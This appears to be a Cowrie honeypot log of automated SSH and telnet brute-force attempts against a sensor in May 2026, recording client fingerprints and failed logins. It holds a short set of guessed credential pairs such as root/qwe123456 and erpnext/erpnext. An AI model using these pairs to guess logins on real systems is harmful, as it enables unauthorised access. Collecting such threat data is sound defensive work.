{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:30.532763Z","src_ip":"192.109.200.237","session":"22a332fd9870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:30.860405Z","src_ip":"192.109.200.237","session":"22a332fd9870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:31.946407Z","src_ip":"192.109.200.237","session":"22a332fd9870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.758615493774414,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:33.115335Z","src_ip":"152.42.224.71","session":"c4fdf9c52f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60794,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd46740ae36d","protocol":"ssh","message":"New connection: 192.109.200.237:60794 (159.203.135.109:22) [session: cd46740ae36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:33.934831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:33.942018Z","src_ip":"192.109.200.237","session":"cd46740ae36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:34.023984Z","src_ip":"192.109.200.237","session":"cd46740ae36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:34.269186Z","src_ip":"192.109.200.237","session":"cd46740ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:35.354491Z","src_ip":"192.109.200.237","session":"cd46740ae36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60804,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08855d5443f","protocol":"ssh","message":"New connection: 192.109.200.237:60804 (159.203.135.109:22) [session: e08855d5443f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:37.352501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:37.356671Z","src_ip":"192.109.200.237","session":"e08855d5443f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:37.438517Z","src_ip":"192.109.200.237","session":"e08855d5443f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:37.684174Z","src_ip":"192.109.200.237","session":"e08855d5443f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:38.768416Z","src_ip":"192.109.200.237","session":"e08855d5443f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.240830659866333,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:39.314667Z","src_ip":"152.42.224.71","session":"e6b70bf59580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.630807876586914,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:39.405841Z","src_ip":"152.42.224.71","session":"dee74a313f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7df03f81a66","protocol":"ssh","message":"New connection: 192.109.200.237:54490 (159.203.135.109:22) [session: d7df03f81a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:40.806916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:40.810860Z","src_ip":"192.109.200.237","session":"d7df03f81a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:40.892483Z","src_ip":"192.109.200.237","session":"d7df03f81a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:41.139787Z","src_ip":"192.109.200.237","session":"d7df03f81a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.26503252983093,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:41.494428Z","src_ip":"152.42.224.71","session":"fdfdc9459413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:42.224240Z","src_ip":"192.109.200.237","session":"d7df03f81a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47462,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c314410ffc9","protocol":"telnet","message":"New connection: 152.42.224.71:47462 (10.17.0.5:23) [session: 5c314410ffc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:44.338608Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54500,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5ff73459dc","protocol":"ssh","message":"New connection: 192.109.200.237:54500 (159.203.135.109:22) [session: 7a5ff73459dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:44.421759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:44.430093Z","src_ip":"192.109.200.237","session":"7a5ff73459dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:44.512409Z","src_ip":"192.109.200.237","session":"7a5ff73459dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:44.759809Z","src_ip":"192.109.200.237","session":"7a5ff73459dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:45.845293Z","src_ip":"192.109.200.237","session":"7a5ff73459dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54522,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e542476db8","protocol":"ssh","message":"New connection: 192.109.200.237:54522 (159.203.135.109:22) [session: 58e542476db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:47.810661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:47.816809Z","src_ip":"192.109.200.237","session":"58e542476db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:47.900584Z","src_ip":"192.109.200.237","session":"58e542476db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:48.147456Z","src_ip":"192.109.200.237","session":"58e542476db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53012,"dst_ip":"10.17.0.5","dst_port":22,"session":"3876f203b534","protocol":"ssh","message":"New connection: 193.32.162.145:53012 (10.17.0.5:22) [session: 3876f203b534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:48.575316Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:48.692456Z","src_ip":"193.32.162.145","session":"3876f203b534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:49.323966Z","src_ip":"192.109.200.237","session":"58e542476db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43366,"dst_ip":"10.17.0.5","dst_port":23,"session":"207b94485452","protocol":"telnet","message":"New connection: 152.42.224.71:43366 (10.17.0.5:23) [session: 207b94485452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:50.087976Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38546,"dst_ip":"159.203.135.109","dst_port":22,"session":"116c8e4ebc86","protocol":"ssh","message":"New connection: 192.109.200.237:38546 (159.203.135.109:22) [session: 116c8e4ebc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:51.230148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:51.235210Z","src_ip":"192.109.200.237","session":"116c8e4ebc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:51.318496Z","src_ip":"192.109.200.237","session":"116c8e4ebc86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:51.564291Z","src_ip":"192.109.200.237","session":"116c8e4ebc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:52.648960Z","src_ip":"192.109.200.237","session":"116c8e4ebc86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38550,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5877044fe87","protocol":"ssh","message":"New connection: 192.109.200.237:38550 (159.203.135.109:22) [session: b5877044fe87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:54.621550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:54.631106Z","src_ip":"192.109.200.237","session":"b5877044fe87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:54.722212Z","src_ip":"192.109.200.237","session":"b5877044fe87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:39:55.111910Z","src_ip":"192.109.200.237","session":"b5877044fe87","protocol":"ssh"}
